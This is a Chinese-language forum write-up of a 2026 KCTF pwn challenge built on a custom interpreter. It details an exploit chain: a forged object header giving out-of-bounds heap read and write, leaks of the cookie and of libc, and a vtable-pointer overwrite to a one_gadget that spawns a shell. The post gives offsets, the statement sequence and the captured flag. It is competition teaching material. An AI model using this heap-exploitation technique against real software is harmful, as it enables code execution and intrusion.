首页
社区
课程
招聘
[原创]看雪·2026 KCTF 第十题 Writeup
发表于: 2026-8-24 09:47 171

[原创]看雪·2026 KCTF 第十题 Writeup

2026-8-24 09:47
171

题目名称: 卯时·曦光初现
题目类型: Pwn
出题战队: 送分童子
附件: pwn(64 位 PIE、stripped)、libc-2.27.so(Ubuntu GLIBC 2.27-3ubuntu1.6)
Flag: flag{9c00470d-6a6d-47f0-bfdc-e5f704c1a115}

程序是 C++ 写成的自定义解释器,stripped,无后门函数,需要泄漏 libc 后劫持控制流。配套 libc 为 2.27,存在 __malloc_hook / __free_hook 以及可用的 one_gadget

本地用 patchelf 把解释器、libc、ld、旧版 libstdc++/libgcc 对齐到 2.27 后再调试,远程靶机环境与之一致。

main 循环:

全局环境 env 是 BSS 上 256 个 uint64 槽位。另有一块 64KB bump 堆operator new[](0x10000)),以及从 /dev/urandom 读出的 8 字节 cookie。程序字符串里写着 garbage collection has not been implemented yet,对象只增不回收。

RTTI 能看到解释器类型:

所有语句必须以 $ + 十进制槽号开头,不能有空格。合法语句只有四类:

数字字面量经 Number::to_heap& 0xFFFFFFFFFFFF 截成 48 位;但 BinOp 按完整 64 位运算,因此可以用乘法构造高 16 位标签:

数字字段序列化为 cookie ^ (value & 0xFFFFFFFFFFFF)。GetField 读出时再异或 cookie,因此:

BinOp 两边只要带 0x1337 标签就会失败,所以对象指针不能直接做加减;泄漏到的未加标签地址可以。

GetField / SetField 走路径时调用 1EDA(obj, index)

用户侧检查是 index >= len 则失败,所以合法字段下标是 0 .. len-1
但是: 如果某个数字字段被写成 0xBEEF<<48 | huge_len,遍历会把它当成内嵌对象,后续下标就可以走出当前对象,进入 64KB bump 堆后面的 glibc 堆。

SetField 写入公式:

源值只要不是 0x1337 标签即可。因此可以主动把某个字段写成伪造的 BEEF 头。

伪造对象头 + 任意相对读写。

下标与偏移关系(伪造头在 custom+81EDAcustom+16 起跳):

64KB 未使用区域是 0。0 ^ cookie = cookie,且 cookie 高 16 位几乎不可能是 0xBEEF,所以读零页就能稳定漏 cookie。

在 Ubuntu 18.04 / glibc 2.27 上,new[](0x10000) 之后的堆布局稳定:

关键泄漏点:

计算:

one_gadgetlibc+0x4f302):

约束 [rsp+0x40] == NULL。从 main 调 AST 析构时栈上刚好满足。

Full RELRO 不能改 GOT。做法是 在 SetField 求值期间改写它自己的 vptr,返回 maincall [vptr+0x10]one_gadget

小下标种 vtable 只走过 bump 堆里的 0,不会撞到 glibc 堆上「异或后像 BEEF」的指针;最后一次大下标行走路径上也基本是 0 和少量元数据,远程实测一次成功。

完整脚本见同目录 exp.py。核心语句序列:

之后向连接写入 cat flag 即可。

本地(2.27 补丁后的 pwn_patched)和远程靶机同一条链均可稳定 getshell。

形式 含义
$N=123 / $N=[1,2,[3]] 把数字或嵌套数组赋给槽 N(AssignLit)
$A=$B / $A=$B[i][j]... 拷贝,或按路径取字段(GetField)
$A[i][j]...=$B 按路径写字段(SetField),源值不能是对象
$A op $B 二元运算,结果写回 $A+ - * / % ^ | &
编码 含义
ptr | 0x1337000000000000 槽位里的对象指针(指向 bump 堆)
cookie ^ (0xBEEF000000000000 | len) 堆上对象头,len 为子节点个数
偏移 k 内容
+0x08 起的零页 8 cookie
+0x10018 8193 tcache 地址
+0x10078 8205 _IO_2_1_stderr_ = libc+0x3ec680
Arch:     amd64
PIE:      开启
Canary:   开启
NX:       开启
RELRO:    Full RELRO
$10=16777216          # 2^24
$11=16777216
$10*$11               # $10 = 2^48
$12=48879             # 0xBEEF
$12*$10               # $12 = 0xBEEF << 48
*slot = cookie ^ src
$0=[0,0,0,0]          # 真实对象,len=4,落在 bump 堆起始
$12 = (0xBEEF<<48)|20000
$0[0]=$12             # 字段 0 变成伪造子对象
$x=$0[0][k]           # 从伪造头往后走 k 步,OOB 读
$0[0][k]=$y           # OOB 写(写入 cookie^y)
addr = custom + 16 + 8*k
k    = (offset - 16) / 8
[tcache_perthread]   ← heap_start + 0x10
[iostream 小块]
[64KB bump 堆]       ← custom,相对 tcache 偏移 0x11e60
[0x230 in-use 块]    ← 内含 libc 指针
[0x20 tcache ...]
[SetField AST 0x30]  ← 固定落在 custom+0x10340
cookie  = $0[0][8]
stderr  = $0[0][8205] ^ cookie
libc    = stderr - 0x3ec680
tcache  = $0[0][8193] ^ cookie
custom  = tcache + 0x11e60
gadget  = libc + 0x4f302

传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!

收藏
免费 3
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回